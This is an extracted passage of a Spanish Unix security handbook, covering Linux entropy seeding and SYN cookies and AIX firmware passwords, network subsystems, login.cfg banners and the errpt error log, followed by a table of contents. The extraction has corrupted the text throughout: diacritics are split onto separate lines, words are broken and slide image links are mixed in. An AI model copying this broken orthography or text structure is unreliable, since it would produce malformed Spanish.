a ı
los recursos de una m´quina determinada hasta que los usuarios no pueden ni siquiera conectar a
a
ella. Las ‘SYN Cookies’ proporcionan cierta protecci´n contra este tipo de ataques, ya que la pila
o
TCP/IP utiliza un protocolo criptogr´fico para permitir que un usuario leg´
a ıtimo pueda seguir acce-
diendo al sistema incluso si este est´ siendo atacado. Aunque configuremos y ejecutemos un n´cleo
a u
con esta opci´n soportada, hemos de activar las ‘SYN Cookies’ cada vez que el sistema arranca
o
(como veremos luego), ya que por defecto est´n deshabilitadas.
a
En ciertas situaciones es interesante analizar en espacio de usuario – es decir, sin sobrecargar al
n´cleo m´s de lo estrictamente necesario – un paquete o parte de ´l (t´
u a e ıpicamente, los 128 primeros
bytes) que llega a trav´s de la red hasta nuestra m´quina; de esta forma, un analizador sim-
e a
ple puede tomar ciertas decisiones en funci´n del contenido del paquete recibido, como enviar
o
un correo al administrador en caso de sospecha o grabar un mensaje mediante syslog. Justa-
mente esto es lo que conseguimos si habilitamos la opci´n Firewall Packet Netlink Device (con-
o
fig ip firewall netlink).
Hasta ahora hemos hablado de la posibilidad que tiene Linux para modificar par´metros del n´cleo
a u
sin necesidad de recompilarlo o de reiniciar el equipo, mediante el interfaz sysctl; esto implica por
ejemplo que podemos modificar el comportamiento del subsistema de red simplemente modificando
determinados ficheros de /proc/sys/ (recordemos que el sistema de ficheros /proc/ de algunos
Unix es una interfaz entre estructuras de datos del n´cleo y el espacio de usuario). Veremos en el
u
punto 10.5 algunos de estos par´metros configurables que tienen mucho que ver con la seguridad
a
Linux, en especial con el subsistema de red.
10.6.2 Dispositivos
Linux (no as´ otros Unices) proporciona dos dispositivos virtuales denominados /dev/random y
ı
/dev/urandom que pueden utilizarse para generar n´meros pseudoaleatorios, necesarios para apli-
u](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-189-320.jpg)
![172 CAP´
ITULO 10. LINUX
caciones criptogr´ficas. El primero de estos ficheros, /dev/random, utiliza lo que su autor denomina
a
‘ruido ambiental’ (por ejemplo, temporizadores de IRQs, accesos a disco o tiempos entre pulsaciones
de teclas) para crear una fuente de entrop´ aceptable y – muy importante – que apenas introduce
ıa
sobrecarga en el sistema. El segundo archivo, /dev/urandom, crea un resumen de la entrop´ de ıa
/dev/random utilizando la funci´n hash SHA (Secure Hash Algorithm), dise˜ada por el NIST y
o n
la NSA para su Digital Signature Standard ([oST84]). Por tanto, tenemos una fuente de entrop´ ıa
aceptable, /dev/urandom, y otra incluso mejor, pero de capacidad limitada, /dev/random. Para
detalles concretos sobre su funcionamiento se puede consultar el fichero que las implementa dentro
del n´cleo de Linux, drivers/char/random.c.
u
Como en el propio c´digo se explica, cuando un sistema operativo arranca ejecuta una serie de
o
acciones que pueden ser predecidas con mucha facilidad por un potencial atacante (especialmente
si en el arranque no interactua ninguna persona, como es el caso habitual en Unix). Para mantener
el nivel de entrop´ en el sistema se puede almacenar el desorden que exist´ en la parada de la
ıa ıa
m´quina para restaurarlo en el arranque; esto se consigue modificando los scripts de inicializaci´n
a o
del sistema. En el fichero apropiado que se ejecute al arrancar (por ejemplo, /etc/rc.d/rc.M)
debemos a˜adir las siguientes l´
n ıneas:
echo "Initializing random number generator..."
random_seed=/var/run/random-seed
# Carry a random seed from start-up to start-up
# Load and then save 512 bytes, which is the size of the entropy pool
if [ -f $random_seed ]; then
cat $random_seed >/dev/urandom
fi
dd if=/dev/urandom of=$random_seed count=1
chmod 600 $random_seed
Mientras que en un fichero que se ejecute al parar el sistema a˜adiremos lo siguiente:
n
# Carry a random seed from shut-down to start-up
# Save 512 bytes, which is the size of the entropy pool
echo "Saving random seed..."
random_seed=/var/run/random-seed
dd if=/dev/urandom of=$random_seed count=1
chmod 600 $random_seed
Con estas peque˜as modificaciones de los archivos de arranque y parada del sistema conseguimos
n
mantener un nivel de entrop´ aceptable durante todo el tiempo que el sistema permanezca encendi-
ıa
do. Si de todas formas no consideramos suficiente la entrop´ proporcionada por estos dispositivos
ıa
de Linux, podemos conseguir otra excelente fuente de desorden en el mismo sistema operativo a
partir de una simple tarjeta de sonido y unas modificaciones en el n´cleo ([Men98]), o utilizar alguno
u
de los generadores – algo m´s complejos – citados en [Sch94].
a
10.6.3 Algunas mejoras de la seguridad
En esta secci´n vamos a comentar algunos aspectos de modificaciones del n´cleo que se distribuyen
o u
libremente en forma de parches, y que contribuyen a aumentar la seguridad de un sistema Linux;
para obtener referencias actualizadas de estos c´digos – y otros no comentados aqu´ – es recomen-
o ı
dable consultar [Sei99]; para informaci´n de estructuras de datos, ficheros o l´
o ımites del n´cleo de
u
Linux se puede consultar [BBD+ 96] o [CDM97].
L´
ımites del n´ cleo
u
En include/asm/resource.h tenemos la inicializaci´n de algunas estructuras de datos del n´cleo
o u
relacionadas con l´
ımites a la cantidad de recursos consumida por un determinado proceso; por
ejemplo, el m´ximo n´mero de procesos por usuario (rlimit nproc) se inicializa a
a u
max tasks per user, valor que en include/linux/tasks.h podemos comprobar que se corre-
sponde con la mitad de nr tasks (n´mero m´ximo de procesos en el sistema); en arquitecturas
u a](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-190-320.jpg)
![Cap´
ıtulo 11
AIX
11.1 Introducci´n
o
AIX (Advanced Interactive eXecutive) es la versi´n de Unix desarrollada y mantenida desde hace
o
m´s de diez a˜os por IBM; sus or´
a n ıgenes provienen de IBM RT System, de finales de los ochenta, y
se ejecuta en las plataformas RS/6000, basadas en chips risc PowerPC similares al utilizados por
algunos Macintosh m´s o menos modernos. Este operativo, mezcla de bsd y System V (se suele de-
a
cir que no es ni uno ni otro) es el que m´s caracter´
a ısticas propietarias incorpora, caracter´
ısticas que
no se encuentran en ninguna otra versi´n de Unix, por lo que a cualquier administrador le costar´
o a
m´s adaptarse a AIX que a otros Unices. No obstante, en favor de IBM hay que decir que dispone
a
de un excelente asistente para realizar todo tipo de tareas denominado smit (System Management
Interface Tool, tambi´n ejecutado como smitty en modo consola): aunque por supuesto cualquier
e
tarea tambi´n se puede ejecutar desde la l´
e ınea de comandos, esto generalmente no se hace con las
o
´rdenes habituales de Unix, por lo que smit es una herramienta indispensable para el administrador
de la m´quina. AIX, a pesar de que en un principio pueda parecer el Unix m´s arcaico – y nadie
a a
niega que lo sea – es un entorno de trabajo fiable y sobre todo extremadamente estable, e incluso
incorpora caracter´ısticas (tanto de seguridad como de otros aspectos) que ya quisieran para s´ otros
ı
sistemas Unix.
El hecho de que muchas tareas no se realicen en AIX de la misma forma en que se llevan a cabo en
el resto de Unices es en parte debido al odm (Object Data Manager); a diferencia de Solaris o Linux,
en AIX debemos tener presente en todo momento que vi no es una herramienta para administrar
el sistema, ya que los cl´sicos ficheros de configuraci´n ASCII han sido sustituidos por archivos
a o
binarios, bases de datos que mantienen la configuraci´n del sistema (aspectos como los dispositivos,
o
los recursos del entorno, o el subsistema de comunicaciones de AIX) de forma m´s robusta, segura
a
y portable que los simples ficheros de texto, al menos en opini´n de los desarrolladores de IBM
o
([V+ 00]).
IBM mantiene en Internet un excelente repositorio de documentaci´n, principalmente los de-
o
nominados RedBooks, completos manuales sobre casi cualquier tema relacionado con AIX – y
otros productos de la compa˜´ – que podamos imaginar. Est´n disponibles en la direcci´n
nıa a o
http://www.redbooks.ibm.com/, y algunos de ellos son una herramienta imprescindible para
cualquier administrador de sistemas. Por supuesto, tambi´n es muy recomendable instalar las
e
p´ginas del manual on–line de AIX, algo que incomprensiblemente no se hace por defecto en una
a
instalaci´n est´ndar, y utilizar smit para ejecutar cualquier tarea que desde l´
o a ınea de ´rdenes dude-
o
mos de c´mo hacer.
o
En este cap´ıtulo hablaremos de aspectos de la seguridad casi exclusivos de AIX; al ser este sistema
probablemente el Unix m´s cerrado de todos, lo que veamos aqu´ dif´
a ı ıcilmente ser´ extrapolable –
a
en la mayor´ de casos – a otros entornos como Solaris o HP–UX. En cualquier caso, es necesario
ıa
para un administrador conocer los aspectos de AIX que le confieren su enorme robustez, tanto en
lo referente a seguridad como en cualquier otra faceta gen´rica del sistema.
e](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-193-320.jpg)
![176 CAP´
ITULO 11. AIX
11.2 Seguridad f´
ısica en RS/6000
El firmware de los sistemas RS/6000 provee de tres modos de protecci´n f´
o ısica ([IBM00a]), en cier-
ta forma similares a las que ofrecen las estaciones sparc que comentamos al hablar de Solaris. El
primero de ellos, denominado pop (Power–On Password) es el equivalente al modo ‘full-secure’
de sparc, y como ´ste impide el arranque del sistema si antes no se ha introducido la contrase˜a de-
e n
terminada como pop; por supuesto, esto evita tareas como la planificaci´n de reinicios autom´ticos,
o a
por lo que en muchas ocasiones no compensa el nivel de seguridad con el de funcionalidad. Por eso
existe un segundo modo de protecci´n denominado Unattended start mode que permite arrancar al
o
sistema de su dispositivo por defecto sin necesidad de que un operador teclee la contrase˜a pop
n
para ello.
En el modo ‘desatendido’ el sistema arranca con normalidad desde el dispositivo especificado por
defecto sin necesidad de ninguna clave pop (a pesar de que esta contrase˜a tenga que haber sido
n
definida con anterioridad); el sistema arranca, pero la diferencia con el modo normal es que el con-
trolador de teclado permanece bloqueado hasta el el password pop es introducido. De esta forma
se consigue que la m´quina proporcione todos sus servicios (el arranque es completo) pero que,
a
si alguien quiere acceder a la misma desde consola, est´ obligado a introducir la contrase˜a pop
e n
previamente definida.
Aparte del password pop, en las m´quinas RS/6000 puede establecerse una segunda contrase˜a
a n
denominada pap (Privileged Access Password) o Supervisory Password, que protege el arranque del
sms (System Management Services), un firmware que proporciona al administrador de la m´quina
a
ciertas utilidades de configuraci´n de bajo nivel; el sms es accesible en un determinado punto de
o
la secuencia de arranque de la m´quina, en concreto cuando el display marca ‘ff1’ y se pulsa una
a
cierta tecla (generalmente ‘1’ en terminales de texto o ‘f1’ en terminales gr´ficas), y desde sus
a
men´s se puede actualizar el propio firmware o cambiar el dispositivo de arranque, por poner s´lo
u o
un par de ejemplos. Si la contrase˜a pap est´ habilitada se restringe el acceso al sms, evitando
n a
que un atacante con acceso f´
ısico al equipo puede modificar par´metros de la m´quina vitales para
a a
nuestra seguridad.
Es importante establecer un password para proteger el sms: si un pirata consigue acceso al mismo,
ni tan siquiera importar´ si hemos definido o no una contrase˜a pop, ya que podr´ deshabilitarla
a n a
o incluso cambiarla desde el sms; el problema surge si la clave de nuestro firmware se pierde, ya
que en ese caso necesitar´
ıamos abrir el equipo y quitarle su bater´ perdiendo en este caso toda la
ıa,
configuraci´n almacenada en la nvram.
o
Desde la l´ınea de ´rdenes de un sistema AIX podemos ejecutar ciertos mandatos que nos van a
o
permitir tanto visualizar el valor de par´metros del firmware como modificar dicho valor; lamentable-
a
mente no tenemos un interfaz tan uniforme como en Solaris, donde a trav´s de la orden eeprom
e
leemos y modificamos la informaci´n de la nvram, sino que en AIX tenemos que utilizar diferentes
o
o
´rdenes para interactuar con el firmware de la m´quina. Por ejemplo, mediante un comando como
a
bootlist podemos consultar y modificar la lista de dispositivos de arranque del sistema, y mediante
lscfg obtener la versi´n del firmware instalado en la m´quina:
o a
bruja:/# bootlist -m normal -o
hdisk0
fd0
cd0
ent2
bruja:/#
11.3 Servicios de red
Como en el resto de entornos Unix, en AIX es vital garantizar la seguridad de los servicios de
red de la m´quina para conseguir un entorno de trabajo fiable en su globalidad; no obstante, este
a
operativo provee de una serie de herramientas que otros sistemas no proporcionan y que facilitan](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-194-320.jpg)
![11.3. SERVICIOS DE RED 177
enormemente el trabajo del administrador: es importante acostumbrarse a su manejo (recordemos
que en AIX vi no es una herramienta administrativa) a trav´s de smit y, mucho mejor, desde l´
e ınea
de ´rdenes. Por poner un ejemplo, si a un administrador de un entorno Solaris, Linux o HP-UX
o
le preguntamos c´mo eliminar´ el servicio chargen en una m´quina, la respuesta ser´ siempre
o ıa a ıa
la misma: editando /etc/inetd.conf, comentando la l´ ınea correspondiente con una almohadilla
(‘#’) y reiniciando el demonio inetd envi´ndole la se˜al sighup; si le preguntamos lo mismo al
a n
root de una m´quina AIX, lo m´s probable (aunque podr´ hacerlo de la forma anterior) es que
a a ıa
utilice una orden como chsubserver, en un proceso similar al siguiente:
bruja:/# grep chargen /etc/inetd.conf
chargen stream tcp nowait root internal
chargen dgram udp wait root internal
bruja:/# chsubserver -d -v chargen -p udp
bruja:/# chsubserver -d -v chargen -p tcp
bruja:/# grep chargen /etc/inetd.conf
#chargen stream tcp nowait root internal
#chargen dgram udp wait root internal
bruja:/# refresh -s inetd
bruja:/#
En AIX los subsistemas de red son gestionados por el Controlador de Recursos del Sistema (src,
System Resource Controller), un software que proporciona comandos e interfaces uniformes para
crear y controlar subsistemas ([IBM97c]), que no son m´s que programas o procesos (o combi-
a
naciones de los mismos) capaces de operar de forma independiente o a trav´s de un controlador,
e
algo que es m´s o menos equivalente a lo que todos conocemos como ‘demonio’ en cualquier Unix;
a
podemos ejecutar la orden ‘lssrc -a’ para listar los subsistemas de nuestra m´quina AIX:
a
bruja:/# lssrc -a
Subsystem Group PID Status
portmap portmap 5684 active
inetd tcpip 7770 active
xntpd tcpip 6352 active
automountd autofs 6056 active
hats hats 9876 active
hags hags 8494 active
hagsglsm hags 9370 active
haem haem 6694 active
haemaixos haem 10662 active
pman pman 11372 active
pmanrm pman 12130 active
sysctld 11174 active
snmpd tcpip 15520 active
sendmail mail 16628 active
dpid2 tcpip 16106 active
fs 19612 active
biod nfs 19874 active
rpc.statd nfs 20644 active
qdaemon spooler 15750 active
writesrv spooler 19366 active
clstrmgr cluster 32706 active
clsmuxpd cluster 42048 active
nfsd nfs 31168 active
rpc.mountd nfs 42904 active
rpc.lockd nfs 32004 active
tftpd tcpip 7586 active
syslogd ras 31852 active
lpd spooler inoperative
clvmd inoperative](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-195-320.jpg)
![11.4. USUARIOS Y ACCESOS AL SISTEMA 183
Por defecto, AIX ofrece unos l´ ımites bastante razonables a los recursos que cada usuario puede
consumir; no obstante, en funci´n de para qu´ se utilice cada sistema concreto, es recomendable
o e
que sea el administrador el que deba especificar qu´ limites impone a los usuarios sobre los recursos
e
de la m´quina para prevenir negaciones de servicio contra los mismos.
a
11.4.6 El fichero /etc/security/login.cfg
En este archivo se definen ciertos par´metros de control para las conexiones remotas a un sistema
a
AIX; como veremos en este punto, todos ellos tienen implicaciones directas, aunque de diferente
grado, en la seguridad del entorno de trabajo. Se puede dividir en tres grandes ´reas: la correspon-
a
diente a la definici´n de puertos, la relativa a m´todos de autenticaci´n de usuarios y la que define
o e o
atributos tambi´n de los usuarios; todas ellas contienen una stanza por defecto, y adicionalmente
e
definiciones particulares para elementos concretos.
La primera gran ´rea del archivo, la relativa a los puertos, est´ formada por una serie de par´metros
a a a
que definen caracter´ısticas del acceso al sistema a trav´s de ellos; la primera directiva de este grupo
e
es herald, que permite definir el mensaje que se muestra en la pantalla del usuario que trata de es-
tablecer una conexi´n remota con el sistema (algo similar al archivo /etc/motd del resto de Unices,
o
fichero que en AIX no existe – y si es creado no tiene efecto –). Cuando tratamos de acceder a una
m´quina AIX el mensaje que se muestra es similar al siguiente:
a
luisa:~$ telnet bruja
Trying 192.168.0.10...
Connected to bruja.
Escape character is ’^]’.
telnet (bruja)
AIX Version 4
(C) Copyrights by IBM and by others 1982, 1996.
login:
Modificando la directiva herald de /etc/security/login.cfg podemos definir otros mensajes de
presentaci´n; si por ejemplo queremos simular que nuestra m´quina ejecuta Solaris en lugar de AIX,
o a
podemos emular el mensaje del primero:
bruja:/# grep herald /etc/security/login.cfg
herald = "SunOS 5.8nnlogin: "
bruja:/#
As´ cuando un usuario trate de conectar al sistema, ver´ algo parecido a lo siguiente:
ı, a
bruja:/# telnet 0
Trying...
Connected to 0.
Escape character is ’^]’.
SunOS 5.8
login:^D Connection closed.
bruja:/#
Relacionada con el anterior par´metro tenemos la directiva herald2, formada por una cadena de
a
texto y que define el mensaje de login impreso en la terminal tras un intento fallido de acceso al
sistema; por defecto, esta cadena de texto es un nuevo prompt de login.
Tambi´n relativa a los puertos, otra directiva interesante que podemos encontrar en el fichero
e
login.cfg es logindelay, que permite especificar el retardo en segundos entre intentos consecu-
tivos de entrada al sistema; si es diferente de 0 (si es 0 se deshabilita su efecto) el valor de este](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-201-320.jpg)
![11.5. EL SISTEMA DE LOG 189
11.5 El sistema de log
Al igual que sucede en cualquier sistema Unix, en AIX la informaci´n y los errores generados por
o
eventos en el sistema son gestionados por el demonio syslogd, que en funci´n de su configuraci´n
o o
(en el archivo /etc/syslogd.conf) env´ sus registros a consola, a un fichero, a un programa,
ıa
a otro sistema. . . tal y como se explica en el cap´
ıtulo dedicado a la auditor´ de sistemas Unix.
ıa
No obstante, adem´s de syslogd, AIX proporciona otro mecanismo para la gesti´n de errores y
a o
mensajes del hardware, del sistema operativo y de las aplicaciones, ofreciendo una informaci´n o
muy valiosa para determinar cualquier tipo de problemas en el entorno ([Skl01]); mientras que por
defecto syslogd no realiza ning´n tipo de registro en AIX, este sistema no necesita ning´n tipo de
u u
configuraci´n adicional para comenzar a realiza su trabajo. Adem´s, viene ‘de serie’, ya que este
o a
mecanismo adicional forma parte de los paquetes bos.rte y bos.sysmgt.serv aid, instalados por
defecto con el operativo:
bruja:/etc# lslpp -l bos.rte bos.sysmgt.serv_aid
Fileset Level State Description
--------------------------------------------------------------------------
Path: /usr/lib/objrepos
bos.rte 4.3.3.10 COMMITTED Base Operating System Runtime
bos.sysmgt.serv_aid 4.3.3.50 COMMITTED Software Error Logging and
Dump Service Aids
Path: /etc/objrepos
bos.rte 4.3.3.0 COMMITTED Base Operating System Runtime
bos.sysmgt.serv_aid 4.3.3.50 COMMITTED Software Error Logging and
Dump Service Aids
bruja:/etc#
Al arrancar una m´quina AIX desde /etc/inittab se invoca a /sbin/rc.boot, shellscript donde
a
se inicializa el demonio errdemon, encargado de monitorizar cont´ ınuamente el archivo /dev/error
y crear los registros de error en el fichero correspondiente; a diferencia de syslogd, errdemon no
escribe una entrada cada vez que se registra un evento, sino que lo hace mediante buffers tal y como
se le indica en su base de datos de notificaci´n de errores, /etc/objrepos/errnotify. Adem´s,
o a
el registro de errores por defecto se mantiene en /var/adm/ras/errlog, mientras que el ultimo ´
log generado se guarda en memoria NVRAM de forma que en el arranque del sistema se a˜ade al n
registro cuando se inicializa el demonio.
Los registros guardados por errdemon est´n en modo binario (a diferencia de los logs habituales
a
en Unix) por defecto, como hemos comentado, dentro del fichero /var/adm/ras/errlog; de esta
forma, para visualizarlos necesitaremos ciertas herramientas que vienen con el sistema; podemos
utilizar desde l´
ınea de comandos la orden errpt o bien – como siempre en AIX – invocarla desde
smit. En cualquier caso, mediante esta herramienta se genera en tiempo real un informe de errores:
bruja:/# errpt |head -2
IDENTIFIER TIMESTAMP T C RESOURCE_NAME DESCRIPTION
AA8AB241 0506081102 T O OPERATOR OPERATOR NOTIFICATION
bruja:/#
Como podemos ver, cada l´ ınea mostrada por esta orden es uno de los registros procesados; la
primera columna es un identificador de error unico y la segunda indica la hora en que se gener´ el
´ o
mismo en formato mmddhhmmyy (mes, d´ hora, minuto y a˜o). La tercera describe el tipo de error
ıa, n
registrado: una ‘T’ indica que es temporal, una ‘P’ que es permanente y una ‘U’ que es desconocido.
La cuarta columna define la clase del error (‘S’ para errores software, ‘H’ para hardware y ‘O’ para
entradas generadas mediante errlogger, como veremos despu´s). Finalmente, la quinta columna
e
indica el recurso afectado, y la ultima una descripci´n del error. Si pensamos que el formato es algo
´ o
complicado de interpretar a simple vista (quiz´s tengamos raz´n), podemos utilizar la opci´n ‘-a’
a o o
de la orden, que muestra los registros con un mayor nivel de detalle, hasta el punto de indicar las
posibles causas del problema y su soluci´n (aunque realmente esta informaci´n no es tan util como
o o ´
pueda parecer en principio):](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-207-320.jpg)
![190 CAP´
ITULO 11. AIX
bruja:/# errpt -a|head -36
-------------------------------------------------------------------------
LABEL: SRC
IDENTIFIER: E18E984F
Date/Time: Mon May 6 07:02:05
Sequence Number: 30479
Machine Id: 000000375C00
Node Id: bruja
Class: S
Type: PERM
Resource Name: SRC
Description
SOFTWARE PROGRAM ERROR
Probable Causes
APPLICATION PROGRAM
Failure Causes
SOFTWARE PROGRAM
Recommended Actions
PERFORM PROBLEM RECOVERY PROCEDURES
Detail Data
SYMPTOM CODE
0
SOFTWARE ERROR CODE
-9017
ERROR CODE
9
DETECTING MODULE
’srchevn.c’@line:’288’
FAILING MODULE
qdaemon
-------------------------------------------------------------------------
bruja:/#
El archivo errlog es un registro circular, es decir, almacena tantas entradas como se define al
arrancar el demonio errdemon. Al llegar una nueva entrada, se almacena primero en un buffer
intermedio para minimizar la probabilidad de p´rdida del registro, y a continuaci´n se pasa al
e o
fichero errlog; en este punto, si se va a sobrepasar el tama˜o m´ximo del archivo, se elimina la
n a
primera entrada registrada. Podemos consultar los par´metros de configuraci´n actuales mediante
a o
errdemon, y quiz´s nos interese tambi´n modificar alguno de ellos en el arranque del sistema; por
a e
ejemplo, [Bha01] recomienda incrementar el tama˜o por defecto de los buffers y del archivo de log
n
para obtener un mejor registro de auditor´
ıa:
bruja:/# /usr/lib/errdemon -l
Error Log Attributes
---------------------------------------------
Log File /var/adm/ras/errlog
Log Size 1048576 bytes
Memory Buffer Size 8192 bytes
bruja:/# /usr/lib/errdemon -s4194304 -B32768
The error log memory buffer si](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-208-320.jpg)
Unixsec
- 1. SEGURIDAD EN UNIX Y REDES Versi´n 2.1 o Antonio Villal´n Huerta o Julio, 2002
- 2. ii
- 3. i Copyright c 2000,2002 Antonio Villal´n Huerta. o Permission is granted to copy, distribute and/or modify this do- cument under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being ‘Notas del Autor’ and ‘Conclusiones’, with no Front-Cover Texts, and with no Back- Cover Texts. A copy of the license is included in the section entitled ‘GNU Free Documentation License’.
- 4. ii
- 5. ´ Indice General Notas del autor 1 1 Introducci´n y conceptos previos o 1 1.1 Introducci´n . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1.2 Justificaci´n y objetivos . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 1.3 ¿Qu´ es seguridad? . . . . . . . . e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 1.4 ¿Qu´ queremos proteger? . . . . e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 1.5 ¿De qu´ nos queremos proteger? e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.5.1 Personas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.5.2 Amenazas l´gicas . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 1.5.3 Cat´strofes . . . . . . . . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 1.6 ¿C´mo nos podemos proteger? . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 1.7 Redes ‘normales’ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 1.7.1 Redes de I+D . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 1.7.2 Empresas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 1.7.3 ISPs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 1.8 ¿Seguridad en Unix? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 I Seguridad del entorno de operaciones 19 2 Seguridad f´ısica de los sistemas 21 2.1 Introducci´n . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 2.2 Protecci´n del hardware . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 2.2.1 Acceso f´ ısico . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 2.2.2 Desastres naturales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 2.2.3 Desastres del entorno . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 2.3 Protecci´n de los datos . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29 2.3.1 Eavesdropping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29 2.3.2 Backups . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30 2.3.3 Otros elementos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 2.4 Radiaciones electromagn´ticas . e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32 3 Administradores, usuarios y personal 35 3.1 Introducci´n . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . 35 3.2 Ataques potenciales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 3.2.1 Ingenier´ social . . . . . . . . ıa . . . . . . . . . . . . . . . . . . . . . . . . . . 35 3.2.2 Shoulder Surfing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 3.2.3 Masquerading . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 3.2.4 Basureo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 3.2.5 Actos delictivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 3.3 ¿Qu´ hacer ante estos problemas? . . . e . . . . . . . . . . . . . . . . . . . . . . . . . . 40 3.4 El atacante interno . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
- 6. iv ´ INDICE GENERAL II Seguridad del sistema 45 4 El sistema de ficheros 47 4.1 Introducci´n . . . . . . . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . 47 4.2 Sistemas de ficheros . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48 4.3 Permisos de un archivo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 4.4 Los bits suid, sgid y sticky . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53 4.5 Atributos de un archivo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56 4.6 Listas de control de acceso: ACLs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 4.7 Recuperaci´n de datos . . . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . 61 4.8 Almacenamiento seguro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 4.8.1 La orden crypt(1) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 4.8.2 PGP: Pretty Good Privacy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 4.8.3 TCFS: Transparent Cryptographic File System . . . . . . . . . . . . . . . . . 64 4.8.4 Otros m´todos de almacenamiento seguro . . . e . . . . . . . . . . . . . . . . . 64 5 Programas seguros, inseguros y nocivos 67 5.1 Introducci´n . . . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 67 5.2 La base fiable de c´mputo . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 68 5.3 Errores en los programas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68 5.3.1 Buffer overflows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69 5.3.2 Condiciones de carrera . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 5.4 Fauna y otras amenazas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71 5.4.1 Virus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72 5.4.2 Gusanos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73 5.4.3 Conejos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74 5.4.4 Caballos de Troya . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74 5.4.5 Applets hostiles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 5.4.6 Bombas l´gicas . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 77 5.4.7 Canales ocultos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77 5.4.8 Puertas traseras . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78 5.4.9 Superzapping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79 5.4.10 Programas salami . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79 5.5 Programaci´n segura . . . . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . 80 6 Auditor´ del sistema ıa 87 6.1 Introducci´n . . . . . . . . o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87 6.2 El sistema de log en Unix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87 6.3 El demonio syslogd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88 6.4 Algunos archivos de log . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91 6.4.1 syslog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92 6.4.2 messages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92 6.4.3 wtmp . . . . . . . . . 